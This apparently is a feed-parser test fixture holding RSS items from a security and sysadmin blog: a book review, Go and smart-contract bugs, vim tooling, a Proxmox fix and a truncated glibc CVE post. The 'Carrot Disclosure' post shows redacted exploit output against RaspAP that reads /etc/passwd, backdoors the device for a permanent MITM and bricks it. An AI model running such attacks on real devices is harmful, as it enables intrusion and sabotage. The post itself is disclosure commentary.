telling me that <a href="https://hacksandleaks.com/">Hacks, Leaks, and Revelations: The Art of Analyzing Hacked and Leaked Data</a>
by <a href="https://micahflee.com/">Micah Lee</a>
was available in <em>early access</em>, and that they'd be happy to send me an ebook
copy …</p><p><a href="https://nostarch.com/hacks-leaks-and-revelations"><img alt="Hacks, Leaks, and Revelations cover" src="https://dustri.org/b/images/HacksLeaksReveleations.png"></a></p>
<p>Last month, I got an email <a href="https://nostarch.com/about">from Briana Blackwell from No Starch Press</a>'s marketing department,
telling me that <a href="https://hacksandleaks.com/">Hacks, Leaks, and Revelations: The Art of Analyzing Hacked and Leaked Data</a>
by <a href="https://micahflee.com/">Micah Lee</a>
was available in <em>early access</em>, and that they'd be happy to send me an ebook
copy free of charge!</p>
<p>From the couple of interactions I had with him, Lee is not only a great human being,
but also technically literate. He's the director of information security
at <a href="https://theintercept.com/staff/micah-lee/">The Intercept</a>, and the person
behind <a href="https://onionshare.org/">OnionShare</a> and <a href="https://dangerzone.rocks/">DangerZone</a>;
so I was thrilled to finally get my hands on his book!</p>
<p>And what a great one it is! It's a complete course for everyone who want to learn how to properly deal with and report on large data sets like leaks:
How to communicate with sources along with some notions of <a href="https://en.wikipedia.org/wiki/Operations_security">opsec</a>,
some words on the ethics of dealing with this kind of data,
how to get data leaks and how to analyse them
properly and safely, wrangling tools like
<a href="https://github.com/freedomofpress/dangerzone">dangerzone</a>,
a <a href="https://en.wikipedia.org/wiki/BitTorrent">BitTorrent</a> client,
<a href="https://signal.org">Signal</a>,
<a href="https://torproject.org">Tor</a> via the <a href="https://www.torproject.org/download/">Tor Browser</a> and
<a href="https://onionshare.org/">Onionshare</a>,
some <a href="https://en.wikipedia.org/wiki/Linux">linux</a> and <a href="https://en.wikipedia.org/wiki/Shell_(computing)">shell</a> basics,
a crash course into data analysis with <a href="https://python.org">Python</a> and <a href="https://en.wikipedia.org/wiki/SQL">SQL</a>,
the <a href="https://occrp.org/en">OCCRP</a>'s <a href="https://docs.aleph.occrp.org/">Aleph</a>,
…
with hands-on exercises and reporting examples based on real leaks like
<a href="https://en.wikipedia.org/wiki/2021_Epik_data_breach">EpikFail</a>,
<a href="https://en.wikipedia.org/wiki/BlueLeaks">BlueLeaks</a>,
the <a href="https://apnews.com/article/oath-keepers-leaked-membership-rolls-2ca4195ed3a10e45dd189bf98f3e5a26">Oath Keepers leak</a>,
<a href="https://discordleaks.unicornriot.ninja/discord/">Unicorn Riot's DiscordLeaks</a>,
<a href="https://theintercept.com/2021/09/28/covid-telehealth-hydroxychloroquine-ivermectin-hacked/">AFLDS</a>,
he <a href="https://www.databreaches.net/heritage-foundation-wasnt-attacked-they-leaked-their-own-data/">Heritage Foundation emails</a>,
…</p>
<p>It's a comprehensive yet highly digestible resource that I would wholeheartedly
recommend to anyone remotely interested by modern journalism practises. Hacked
and dumped databases are all around the internet, waiting to be analysed, reported on,
contextualised and exposed, and with this book, anyone could help with
the effort of making the world a better place: sunlight is the best
disinfectant!</p>mat2 0.13.42023-08-02T21:30:00+02:002023-08-02T21:30:00+02:00jvoisintag:dustri.org,2023-08-02:/b/mat2-0134.html<p>There is a new minor version of mat2:
<a href="https://0xacab.org/jvoisin/mat2/tags/0.13.4">0.13.4</a>. No ground breaking
changes, only minor improvements, code modernisation and a bit of hardening:</p>
<ul>
<li>Add documentation about mat2 on OSX</li>
<li>Make use of python3.7 constructs to simplify code</li>
<li>Use moderner type annotations</li>
<li>Harden <code>get_meta</code> in archive.py against …</li></ul><p>There is a new minor version of mat2:
<a href="https://0xacab.org/jvoisin/mat2/tags/0.13.4">0.13.4</a>. No ground breaking
changes, only minor improvements, code modernisation and a bit of hardening:</p>
<ul>
<li>Add documentation about mat2 on OSX</li>
<li>Make use of python3.7 constructs to simplify code</li>
<li>Use moderner type annotations</li>
<li>Harden <code>get_meta</code> in archive.py against variants of <a href="https://cve.circl.lu/cve/CVE-2022-35410">CVE-2021-35410</a></li>
<li>Improve MSOffice document support</li>
<li>Package the manpage on PyPI.</li>
</ul>
<p>Thanks to <a href="https://anelki.net/">akierig</a>, mat2 is now <a href="https://github.com/macports/macports-ports/pull/18072">available</a> in <a href="https://trac.macports.org/">macports</a>!</p>
<p>As usual, if you know some python help is
<a href="https://0xacab.org/jvoisin/mat2/issues?label_name%5B%5D=good+first+issue">welcome</a>.</p>A sneaky Golang bug2023-08-02T13:15:00+02:002023-08-02T13:15:00+02:00jvoisintag:dustri.org,2023-08-02:/b/a-sneaky-golang-bug.html<p>Today at work, I needed a function in <a href="https://go.dev/">Go</a> to remove
duplicates from a slice, and thus wrote something like this using the
<a href="https://go.dev/doc/tutorial/generics">generic</a>-based
<a href="https://pkg.go.dev/golang.org/x/exp/slices">slices</a> package:</p>
<div class="codehilite"><pre><span></span><code><span class="kd">func</span><span class="w"> </span><span class="nx">removeDuplicates</span><span class="p">(</span><span class="nx">s</span><span class="w"> </span><span class="p">[]</span><span class="nx">mytype</span><span class="p">)</span><span class="w"> </span><span class="p">[]</span><span class="nx">mytype</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">slices</span><span class="p">.</span><span class="nx">SortFunc</span><span class="p">(</span><span class="nx">s</span><span class="p">,</span><span class="w"> </span><span class="nx">less</span><span class="p">)</span>
<span class="w"> </span><span class="nx">slices</span><span class="p">.</span><span class="nx">CompactFunc</span><span class="p">(</span><span class="nx">s</span><span class="p">,</span><span class="w"> </span><span class="nx">eq</span><span class="p">)</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nx">s</span>
<span class="p">}</span>
</code></pre></div>
<p>Can you spot the bug? Here are the …</p><p>Today at work, I needed a function in <a href="https://go.dev/">Go</a> to remove
duplicates from a slice, and thus wrote something like this using the
<a href="https://go.dev/doc/tutorial/generics">generic</a>-based
<a href="https://pkg.go.dev/golang.org/x/exp/slices">slices</a> package:</p>
<div class="codehilite"><pre><span></span><code><span class="kd">func</span><span class="w"> </span><span class="nx">removeDuplicates</span><span class="p">(</span><span class="nx">s</span><span class="w"> </span><span class="p">[]</span><span class="nx">mytype</span><span class="p">)</span><span class="w"> </span><span class="p">[]</span><span class="nx">mytype</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">slices</span><span class="p">.</span><span class="nx">SortFunc</span><span class="p">(</span><span class="nx">s</span><span class="p">,</span><span class="w"> </span><span class="nx">less</span><span class="p">)</span>
<span class="w"> </span><span class="nx">slices</span><span class="p">.</span><span class="nx">CompactFunc</span><span class="p">(</span><span class="nx">s</span><span class="p">,</span><span class="w"> </span><span class="nx">eq</span><span class="p">)</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nx">s</span>
<span class="p">}</span>
</code></pre></div>
<p>Can you spot the bug? Here are the prototypes of the two functions:</p>
<div class="codehilite"><pre><span></span><code><span class="kd">func</span><span class="w"> </span><span class="nx">SortFunc</span><span class="p">[</span><span class="nx">E</span><span class="w"> </span><span class="kt">any</span><span class="p">](</span><span class="nx">x</span><span class="w"> </span><span class="p">[]</span><span class="nx">E</span><span class="p">,</span><span class="w"> </span><span class="nx">less</span><span class="w"> </span><span class="kd">func</span><span class="p">(</span><span class="nx">a</span><span class="p">,</span><span class="w"> </span><span class="nx">b</span><span class="w"> </span><span class="nx">E</span><span class="p">)</span><span class="w"> </span><span class="kt">bool</span><span class="p">)</span>
<span class="kd">func</span><span class="w"> </span><span class="nx">CompactFunc</span><span class="p">[</span><span class="nx">S</span><span class="w"> </span><span class="o">~</span><span class="p">[]</span><span class="nx">E</span><span class="p">,</span><span class="w"> </span><span class="nx">E</span><span class="w"> </span><span class="kt">any</span><span class="p">](</span><span class="nx">s</span><span class="w"> </span><span class="nx">S</span><span class="p">,</span><span class="w"> </span><span class="nx">eq</span><span class="w"> </span><span class="kd">func</span><span class="p">(</span><span class="nx">E</span><span class="p">,</span><span class="w"> </span><span class="nx">E</span><span class="p">)</span><span class="w"> </span><span class="kt">bool</span><span class="p">)</span><span class="w"> </span><span class="nx">S</span>
</code></pre></div>
<p>The first has no return value, while the second does, unused in our case, hence
the bug. It's <em>interesting</em> to note that the go compiler is perfectly happy
with this, and doesn't issue any warning: it was <em>extraordinarily fun</em> to pinpoint.</p>
<p>I reached out to <a href="https://airs.com/ian/">Ian Lance Taylor</a> who
<a href="https://cs.opensource.google/go/x/exp/+/03df57b9a50843fbf23bf90375d6584bcc8ea13d">implemented</a>
those functions in 2021 and he pointed me to <a href="https://go.dev/blog/slices-intro">Go Slices: usage and internals
</a>. Things indeed do become obvious once
looking at the <a href="https://github.com/golang/go/blob/master/src/runtime/slice.go">implementation of
<code>slice</code></a>:</p>
<div class="codehilite"><pre><span></span><code><span class="kd">type</span><span class="w"> </span><span class="nx">slice</span><span class="w"> </span><span class="kd">struct</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">array</span><span class="w"> </span><span class="nx">unsafe</span><span class="p">.</span><span class="nx">Pointer</span>
<span class="w"> </span><span class="nx">len</span><span class="w"> </span><span class="kt">int</span>
<span class="w"> </span><span class="nx">cap</span><span class="w"> </span><span class="kt">int</span>
<span class="p">}</span>
</code></pre></div>
<p>Both <code>slices.SortFunc</code> and <code>slices.CompactFunc</code> are taking a slice as
parameter, and not a pointer to a slice, meaning that any changes to <code>len</code> and
<code>cap</code> will be local to the function.</p>
<p>Anyway, There is a <a href="https://github.com/golang/go/issues/20803">proposal</a> to require
return values to be explicitly used or ignored open since 2017, but it didn't
go anywhere for now. There is also <a href="https://github.com/golang/go/issues/20148">another proposal</a>
to make <code>go vet</code> better at highlighting error mishandling, as well as <a href="https://github.com/kisielk/errcheck">errcheck</a>,
but those wouldn't really help in this case.</p> v2-2.2.5/internal/reader/parser/testdata/large_rss.xml 0000664 0000000 0000000 00000506277 14743520056 0022764 0 ustar 00root root 0000000 0000000
Artificial truthhttps://dustri.org/b/Sun, 10 Mar 2024 17:15:00 +0100Using vale with vimhttps://dustri.org/b/using-vale-with-vim.html<p><a href="https://en.wikipedia.org/wiki/LWN.net">LWN</a> recently published an excellent
(subscriber only) <a href="https://lwn.net/Articles/964075/">article</a> on
<a href="https://vale.sh/">vale</a>, an <em>editorial style</em> linter. One of the original goal
of this little corner on the internet was to improve my English, a purpose it
keeps serving. Adding some lightweight tooling to my text editor to push this
goal even further sounds great.</p>
<p>Like all good software, vale <a href="https://gitlab.alpinelinux.org/alpine/aports/-/tree/master/testing/vale">is
packaged</a>
in Alpine, although it looked a tad neglected, so I sent <a href="https://gitlab.alpinelinux.org/alpine/aports/-/merge_requests/61919">a
pull-request</a>
to get it updated.
Its configuration is pretty straightforward: a <code>~/.vale.ini</code> file, with
where to store/read its data and some preferences. It comes with a
<a href="https://vale.sh/hub/">couple of <em>packages</em></a> for popular styles, like the ones
from <a href="https://vale.sh/hub/microsoft/">Microsoft</a>,
<a href="https://vale.sh/hub/google/">Google</a>, <a href="https://vale.sh/hub/redhat/">RedHat</a>, … then a simple <code>vale sync</code> to force it to
download and store the data, and you're good to go.</p>
<p>While <code>vale</code> can be called from the command line, integration with my text
editor is way more comfy. I'm sure there are a ton of plugins to integrate it
with vim, but I'm not a huge fan of having my text editor run arbitrary code
from the internet, so I threw the following 6 lines in <a href="https://dustri.org/pub/vimrc">my vimrc</a> instead:</p>
<div class="codehilite"><pre><span></span><code><span class="nv">augroup</span><span class="w"> </span><span class="nv">vale</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="nv">filereadable</span><span class="ss">(</span><span class="nv">expand</span><span class="ss">(</span><span class="s2">"~/.vale.ini"</span><span class="ss">))</span>
<span class="w"> </span><span class="nv">autocmd</span><span class="w"> </span><span class="nv">FileType</span><span class="w"> </span><span class="nv">markdown</span><span class="w"> </span><span class="nv">setlocal</span><span class="w"> </span><span class="nv">makeprg</span><span class="o">=</span><span class="nv">vale</span>\<span class="w"> </span><span class="o">--</span><span class="nv">output</span><span class="o">=</span><span class="nv">line</span>\<span class="w"> </span><span class="o">%</span><span class="w"> </span><span class="nv">errorformat</span><span class="o">=%</span><span class="nv">f</span>:<span class="o">%</span><span class="nv">l</span>:<span class="o">%</span><span class="nv">c</span>:<span class="o">%</span><span class="nv">o</span>:<span class="o">%</span><span class="nv">m</span>
<span class="w"> </span><span class="nv">nnoremap</span><span class="w"> </span><span class="o"><</span><span class="nv">Leader</span><span class="o">></span><span class="nv">M</span><span class="w"> </span>:<span class="nv">make</span><span class="o"><</span><span class="nv">CR</span><span class="o">><</span><span class="nv">CR</span><span class="o">></span>
<span class="w"> </span><span class="k">end</span>
<span class="nv">augroup</span><span class="w"> </span><span class="k">end</span>
</code></pre></div>
<p>It checks if I have a <code>~/vale.ini</code> file, and if so sets
<a href="https://vimhelp.org/options.txt.html#%27makeprg%27"><code>makeprg</code></a> to vale, and
configure <a href="https://vimhelp.org/quickfix.txt.html#errorformat"><code>errorformat</code></a> to
properly parse vale's output. Now every time I type <code><Leader> M</code>, I get vale's
diagnostics in my <a href="https://vimhelp.org/quickfix.txt.html">quickfix window</a>.</p>
<p>The next steps would likely be to <s>waste</s> spend some time improving the theme
of the aforementioned window, add some ad hoc rules to vale, and maybe try to
show the diagnostics inline like the spellechecker is doing.</p>jvoisinSun, 10 Mar 2024 17:15:00 +0100tag:dustri.org,2024-03-10:/b/using-vale-with-vim.htmlsysadminCarrot disclosurehttps://dustri.org/b/carrot-disclosure.html<p>Once you have found a vulnerability, you can either sit on it, or disclose it.
There are usually two ways to disclose, with minor variations:</p>
<ol>
<li><a href="https://en.wikipedia.org/wiki/Coordinated_vulnerability_disclosure">Coordinated Disclosure</a>,
where one gives time to the vendor to issue a fix before disclosing</li>
<li><a href="https://en.wikipedia.org/wiki/Full_disclosure_(computer_security)">Full Disclosure</a>,
where one discloses immediately without notifying anyone before.</li>
</ol>
<p>I would like to coin a 3<sup>rd</sup> one: <em>Carrot Disclosure</em>, dangling a
<a href="https://en.wikipedia.org/wiki/Carrot_and_stick">metaphorical carrot</a> in front
of the vendor to incentivise change. The main idea is to only publish the
(redacted) output of the exploit for a critical vulnerability, to showcase that the
software is exploitable. Now the vendor has two choices: either perform a
holistic audit of its software, fixing as many issues as possible in the hope
of fixing the showcased vulnerability; or losing users who might not be happy
running a known-vulnerable software. Users of this disclosure model are of
course called Bugs Bunnies.</p>
<p>We all looked at catastrophic web applications, finding a ton
of bugs, and deciding not to bother with reporting them, because they were too
many of them, because we knew that there will be more of them lurking, because
the vendor is a complete tool and it would take more time trying to properly
disclose things than it took finding the vulnerabilities, … This is an
excellent use case for Carrot Disclosure! Of course, for unauditably-large
codebases, it doesn't work: you've got a Linux LPE, who cares.</p>
<p>Interestingly, it shifts the work balance a bit: it's usually harder to write
an exploit than it's to fix here. But here, the vendor has to audit and fix
its entire codebase, for the ~low cost of one (1) exploit, that you don't even
have to publish if you don't want to.</p>
<p>If you want to be extra-nice, you can:</p>
<ul>
<li>Publish the SHA256 of the exploit, to prove
that you weren't making things up, once it's fixed or if you get sued for
whatever frivolous reasons like libel.</li>
<li>Maintain the exploits against new versions, proving that the exploit is still
working.</li>
<li>Publish the exploit once it has been fixed, otherwise you risk to have
vendors call your bluff next time, or at least notify that the issue has been
fixed. Since you don't have hardcoded offsets because we're in 2024, you can even
put this in a continuous integration.</li>
</ul>
<p>Let's have an example, as a treat. A couple of shitty vulnerabilities for
<a href="https://raspap.com/">RaspAP</a> that took me 5 minutes to find and at least 5
more to write an exploit for each of them:</p>
<div class="codehilite"><pre><span></span><code><span class="gp">$ </span>./read-raspap.py<span class="w"> </span><span class="m">10</span>.3.141.1<span class="w"> </span>/etc/passwd<span class="w"> </span><span class="p">|</span><span class="w"> </span>head<span class="w"> </span>-n<span class="w"> </span><span class="m">5</span>
<span class="go">[+] Target is running RaspAP</span>
<span class="go">[+] Dumping /etc/passwd</span>
<span class="go">root:x:0:0:root:/root:/bin/bash</span>
<span class="go">daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin</span>
<span class="go">bin:x:2:2:bin:/bin:/usr/sbin/nologin</span>
<span class="gp">$ </span>./authed-mitm-raspap.py<span class="w"> </span><span class="m">10</span>.3.141.1
<span class="go">[+] default login/password in use</span>
<span class="go">[+] backdooring system…</span>
<span class="go">[+] system backdoored, enjoy your permanent MITM!</span>
<span class="gp">$ </span>./brick-raspap.py<span class="w"> </span><span class="m">10</span>.3.141.1
<span class="go">[+] Target is running RaspAP</span>
<span class="go">[+] Bricking the system…</span>
<span class="go">[+] System bricked!</span>
<span class="gp">$</span>
</code></pre></div>
<p>It looks like there is a low-hanging unauthenticated arbitrary code execution
chainable with a privilege escalation to root as well, but since writing an
exploit would take more than 5 minutes, I can't be bothered, and odds are that
it'll be fixed along with the persistent denial-of-service anyway. Let me know
when you think those are fixed.</p>jvoisinFri, 08 Mar 2024 21:30:00 +0100tag:dustri.org,2024-03-08:/b/carrot-disclosure.htmlsecurityYoutube video embedding harm reductionhttps://dustri.org/b/youtube-video-embedding-harm-reduction.html<p>Embedding external content on a website in the current enshittocene period is
more annoying than ever, so here is a copy-pasteable snippet to embed a youtube
video while reducing its tracking and nuisance capabilities as much as possible:</p>
<div class="codehilite"><pre><span></span><code><span class="p"><</span><span class="nt">iframe</span>
<span class="na">credentialless</span>
<span class="na">allowfullscreen</span>
<span class="na">referrerpolicy</span><span class="o">=</span><span class="s">"no-referrer"</span>
<span class="na">sandbox</span><span class="o">=</span><span class="s">"allow-scripts allow-same-origin"</span>
<span class="na">allow</span><span class="o">=</span><span class="s">"accelerometer 'none'; ambient-light-sensor 'none'; autoplay 'none'; battery 'none'; bluetooth 'none'; browsing-topics 'none'; camera 'none'; ch-ua 'none'; display-capture 'none'; domain-agent 'none'; document-domain 'none'; encrypted-media 'none'; execution-while-not-rendered 'none'; execution-while-out-of-viewport 'none'; gamepad 'none'; geolocation 'none'; gyroscope 'none'; hid 'none'; identity-credentials-get 'none'; idle-detection 'none'; keyboard-map 'none'; local-fonts 'none'; magnetometer 'none'; microphone 'none'; midi 'none'; navigation-override 'none'; otp-credentials 'none'; payment 'none'; picture-in-picture 'none'; publickey-credentials-create 'none'; publickey-credentials-get 'none'; screen-wake-lock 'none'; serial 'none'; speaker-selection 'none'; sync-xhr 'none'; usb 'none'; web-share 'none'; window-management 'none'; xr-spatial-tracking 'none'"</span><span class="err">,</span>
<span class="na">csp</span><span class="o">=</span><span class="s">"sandbox allow-scripts allow-same-origin;"</span>
<span class="na">width</span><span class="o">=</span><span class="s">"560"</span>
<span class="na">height</span><span class="o">=</span><span class="s">"315"</span>
<span class="na">src</span><span class="o">=</span><span class="s">"https://www.youtube-nocookie.com/embed/jfKfPfyJRdk"</span>
<span class="na">title</span><span class="o">=</span><span class="s">"lofi hip hop radio 📚 - beats to relax/study to"</span>
<span class="na">frameborder</span><span class="o">=</span><span class="s">"0"</span>
<span class="na">loading</span><span class="o">=</span><span class="s">"lazy"</span>
<span class="p">></</span><span class="nt">iframe</span><span class="p">></span>
</code></pre></div>
<ul>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/Security/IFrame_credentialless"><code>credentialless</code></a> to load youtube in a blank disposable context,
without access to the origin's network, cookies, and storage data.</li>
<li><code>allowfullscreen</code> because some people like it</li>
<li><code>referrerpolicy</code> set to not leak your <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referer">referer</a></li>
<li><code>sandbox</code> to only allow javascript execution and SOP. Downloads, forms,
modals, screen orientation, pointer lock, popups, presentation session,
<a href="https://developer.mozilla.org/en-US/docs/Web/API/Storage_Access_API">storage access</a> and thus third-party cookies,
top-navigation, … are all denied.</li>
<li><code>allow</code> with <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Permissions-Policy#directives">every single directives</a>
set to "absolutely-fucking-not", and yes, they have to be all set one by one,
and check regularly is new directive were added,
because there is <a href="https://github.com/w3c/webappsec-permissions-policy/issues/208">no deny-all</a>
in the <a href="https://w3c.github.io/webappsec-permissions-policy/">spec</a>. It seems
that every browser has its own list of directives, chrome is using <a href="https://github.com/w3c/webappsec-permissions-policy/blob/main/features.md">this one</a>
while firefox' prefers the <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Permissions-Policy#directives">MDN one</a>,
and of course the two differ. No doubt this was designed with privacy, simplicity, maintainability and security in mind.</li>
<li><code>src</code> set to <code>www.youtube-nocookie.com</code> instead of <code>youtube.com</code>. Both
are official Google urls, but the former doesn't do tracking via cookies,
and disables API and interaction and interaction logging. Amusingly, it's
the player used on <code>whitehouse.gov</code>.</li>
<li><code>csp</code> set to <code>sandbox allow-scripts allow-same-origin;</code> for compatibility's
sake, just in case.
I'd love to use a more restrictive policy, but the spec doesn't allow to
provide one, except if the embedded website explicitly allows it, and of
course youtube doesn't.</li>
<li><code>loading="lazy"</code> in case people don't scroll far enough to see the video, no
need to make them do queries to Google for no reasons.</li>
</ul>
<p>Don't forget to put a <code>title</code> for <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe#accessibility_concerns">accessibility's sake</a>.</p>jvoisinTue, 27 Feb 2024 14:45:00 +0100tag:dustri.org,2024-02-27:/b/youtube-video-embedding-harm-reduction.htmlwebA silly "smart" contract bughttps://dustri.org/b/a-silly-smart-contract-bug.html<p>I was idling on a <a href="https://github.com/stypr">friend</a>'s Discord server,
when he posted a small snippet of code, taken from a <a href="https://app.sentio.xyz/tx/1/0x4b9de8c56c8919e8598181449a3cc02df40435eb641eaec08ecce12d2342237f/contracts">smart contract</a>
apparently swapping <a href="https://academy.binance.com/en/articles/what-is-wrapped-ether-weth-and-how-to-wrap-it">WETH</a> to <a href="https://miner.build/">MINER</a>, but who cares, what's
interesting here is the bug, can you spot it?</p>
<div class="codehilite"><pre><span></span><code><span class="kt">function</span><span class="w"> </span><span class="nv">_update</span><span class="p">(</span><span class="kt">address</span><span class="w"> </span><span class="nv">from</span><span class="p">,</span><span class="w"> </span><span class="kt">address</span><span class="w"> </span><span class="nv">to</span><span class="p">,</span><span class="w"> </span><span class="kt">uint256</span><span class="w"> </span><span class="nv">value</span><span class="p">,</span><span class="w"> </span><span class="kt">bool</span><span class="w"> </span><span class="nv">mint</span><span class="p">)</span><span class="w"> </span><span class="kt">internal</span><span class="w"> </span>virtual<span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="kt">uint256</span><span class="w"> </span><span class="nv">fromBalance</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>_balances<span class="p">[</span>from<span class="p">];</span>
<span class="w"> </span><span class="kt">uint256</span><span class="w"> </span><span class="nv">toBalance</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>_balances<span class="p">[</span>to<span class="p">];</span>
<span class="w"> </span><span class="kt">if</span><span class="w"> </span><span class="p">(</span>fromBalance<span class="w"> </span><span class="o"><</span><span class="w"> </span>value<span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span>revert<span class="w"> </span>ERC20InsufficientBalance<span class="p">(</span>from<span class="p">,</span><span class="w"> </span>fromBalance<span class="p">,</span><span class="w"> </span>value<span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span>unchecked<span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="c1">// Overflow not possible: value <= fromBalance <= totalSupply.</span>
<span class="w"> </span>_balances<span class="p">[</span>from<span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>fromBalance<span class="w"> </span><span class="o">-</span><span class="w"> </span>value<span class="p">;</span>
<span class="w"> </span><span class="c1">// Overflow not possible: balance + value is at most totalSupply, which we know fits into a uint256.</span>
<span class="w"> </span>_balances<span class="p">[</span>to<span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>toBalance<span class="w"> </span><span class="o">+</span><span class="w"> </span>value<span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
</code></pre></div>
<p>As a hint, look at <a href="https://app.sentio.xyz/tx/1/0x4b9de8c56c8919e8598181449a3cc02df40435eb641eaec08ecce12d2342237f">this transaction</a>.
Isn't it a cute bugdoor?</p>
<p>The snippet is taken from <a href="https://twitter.com/shoucccc/status/1757777764646859121">this tweet</a>,
giving the issue away. Thanks to <a href="https://github.com/kjsman">Jinseo Kim</a> for holding my hand
understanding what was going on there.</p>jvoisinFri, 16 Feb 2024 13:30:00 +0100tag:dustri.org,2024-02-16:/b/a-silly-smart-contract-bug.htmlsecurityFixing the /usr/lib/ssl/certs debacle with Alpine Linux on Proxmoxhttps://dustri.org/b/fixing-the-usrlibsslcerts-debacle-with-alpine-linux-on-proxmox.html<p>There are currently some issues with regard to OpenSSL and Alpine Linux on
Proxmox, tracked as <a href="https://bugzilla.proxmox.com/show_bug.cgi?id=5194">#5194</a> by Promox since the 19<sup>th</sup> of January, with some patches sent by
email (sigh) to fix the issue still waiting to land. The root cause being
Proxmox setting <code>SSL_CERT_FILE='/usr/lib/ssl/cert.pem'</code> when <code>pct enter</code> is
used, while on Alpine the <code>cert.pem</code> file is in <code>/etc/ssl/cert.pem</code>.</p>
<p>In the meantime, here is what the problem looks like (for
<a href="https://en.wikipedia.org/wiki/Search_engine_optimization">SEO</a>) and how to
hack around it: </p>
<div class="codehilite"><pre><span></span><code><span class="go">root@pve ~ pct enter 122</span>
<span class="gp"># </span>apk<span class="w"> </span>update
<span class="go">fetch https://dl-cdn.alpinelinux.org/alpine/v3.18/main/x86_64/APKINDEX.tar.gz</span>
<span class="go">48AB2E51FA7F0000:error:80000002:system library:file_open:No such file or directory:providers/implementations/storemgmt/file_store.c:267:calling stat(/usr/lib/ssl/certs)</span>
<span class="go">48AB2E51FA7F0000:error:80000002:system library:file_open:No such file or directory:providers/implementations/storemgmt/file_store.c:267:calling stat(/usr/lib/ssl/certs)</span>
<span class="go">48AB2E51FA7F0000:error:80000002:system library:file_open:No such file or directory:providers/implementations/storemgmt/file_store.c:267:calling stat(/usr/lib/ssl/certs)</span>
<span class="go">48AB2E51FA7F0000:error:80000002:system library:file_open:No such file or directory:providers/implementations/storemgmt/file_store.c:267:calling stat(/usr/lib/ssl/certs)</span>
<span class="go">48AB2E51FA7F0000:error:0A000086:SSL routines:tls_post_process_server_certificate:certificate verify failed:ssl/statem/statem_clnt.c:1889:</span>
<span class="go">WARNING: updating and opening https://dl-cdn.alpinelinux.org/alpine/v3.18/main: Permission denied</span>
<span class="go">fetch https://dl-cdn.alpinelinux.org/alpine/v3.18/community/x86_64/APKINDEX.tar.gz</span>
<span class="go">48AB2E51FA7F0000:error:80000002:system library:file_open:No such file or directory:providers/implementations/storemgmt/file_store.c:267:calling stat(/usr/lib/ssl/certs)</span>
<span class="go">48AB2E51FA7F0000:error:80000002:system library:file_open:No such file or directory:providers/implementations/storemgmt/file_store.c:267:calling stat(/usr/lib/ssl/certs)</span>
<span class="go">48AB2E51FA7F0000:error:80000002:system library:file_open:No such file or directory:providers/implementations/storemgmt/file_store.c:267:calling stat(/usr/lib/ssl/certs)</span>
<span class="go">48AB2E51FA7F0000:error:80000002:system library:file_open:No such file or directory:providers/implementations/storemgmt/file_store.c:267:calling stat(/usr/lib/ssl/certs)</span>
<span class="go">48AB2E51FA7F0000:error:0A000086:SSL routines:tls_post_process_server_certificate:certificate verify failed:ssl/statem/statem_clnt.c:1889:</span>
<span class="go">WARNING: updating and opening https://dl-cdn.alpinelinux.org/alpine/v3.18/community: Permission denied</span>
<span class="go">4 unavailable, 0 stale; 30 distinct packages available</span>
<span class="gp"># </span>^D
<span class="go">root@pve ~ lxc-attach -n 122 </span>
<span class="gp"># </span>apk<span class="w"> </span>update<span class="p">;</span><span class="w"> </span>apk<span class="w"> </span>upgrade
<span class="go">fetch https://dl-cdn.alpinelinux.org/alpine/v3.18/main/x86_64/APKINDEX.tar.gz</span>
<span class="go">fetch https://dl-cdn.alpinelinux.org/alpine/v3.18/community/x86_64/APKINDEX.tar.gz</span>
<span class="go">v3.18.6-10-g1bb71e18dfb [https://dl-cdn.alpinelinux.org/alpine/v3.18/main]</span>
<span class="go">v3.18.6-9-g41de282e84d [https://dl-cdn.alpinelinux.org/alpine/v3.18/community]</span>
<span class="go">OK: 20069 distinct packages available</span>
<span class="go">OK: 10 MiB in 30 packages</span>
<span class="gp"># </span>^D
<span class="go">root@pve 16:58 ~ </span>
</code></pre></div>
<p>tl;dr: <code>lxc attach -n 123</code> instead of <code>pct enter 123</code></p>jvoisinMon, 05 Feb 2024 17:00:00 +0100tag:dustri.org,2024-02-05:/b/fixing-the-usrlibsslcerts-debacle-with-alpine-linux-on-proxmox.htmlsysadminMusings on CVE-2023-6246 on hardened_mallochttps://dustri.org/b/musings-on-cve-2023-6246-on-hardened_malloc.html<p>Qualys' <s>security team</s> Threat Research Unit <a href="https://seclists.org/oss-sec/2024/q1/68">published</a>
a couple of hours ago a linear two-step heap buffer overflow in glibc's
<code>syslog()</code>:</p>
<div class="codehilite"><pre><span></span><code><span class="mi">206</span><span class="w"> </span><span class="n">buf</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">malloc</span><span class="w"> </span><span class="p">((</span><span class="n">bufsize</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">1</span><span class="p">)</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="k">sizeof</span><span class="w"> </span><span class="p">(</span><span class="kt">char</span><span class="p">));</span>
<span class="p">...</span>
<span class="mi">213</span><span class="w"> </span><span class="n">__snprintf</span><span class="w"> </span><span class="p">(</span><span class="n">buf</span><span class="p">,</span><span class="w"> </span><span class="n">l</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span>
